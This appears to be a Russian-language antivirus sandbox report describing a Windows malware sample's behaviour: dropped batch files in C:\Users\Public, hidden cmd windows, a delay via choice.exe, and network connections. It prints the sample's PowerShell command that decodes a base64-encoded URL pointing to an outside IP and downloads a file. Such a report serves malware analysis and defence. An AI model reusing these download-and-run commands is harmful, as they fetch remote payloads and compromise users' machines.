Техническая информация
Вредоносные функции
Загружает
- [system.text.encoding]::ascii.getstring([system.convert]::frombase64string(ahr0cdovlzizljk0lje1nc4xmtuvddq0wu52
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\hg32j.bat" "
- '<SYSTEM32>\cmd.exe' /C powershell -Command (New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovLzIzLjk0LjE1NC4xMTUvdDQ0WU52')), [System.Text....
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\kjh4ek\ndj34h.bat" "
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\hg32j.bat
- C:\users\public\kjh4ek\ndj34h.bat
Сетевая активность
Подключается к
- '23.##.154.115':80
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
UDP
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c mkdir C:\Users\Public\kjh4ek
- '<SYSTEM32>\cmd.exe' /C choice /C Y /N /D Y /T 20
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 20
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\hg32j.bat" " (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /C powershell -Command (New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('aHR0cDovLzIzLjk0LjE1NC4xMTUvdDQ0WU52')), [System.Text.... (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""C:\Users\Public\kjh4ek\ndj34h.bat" " (со скрытым окном)
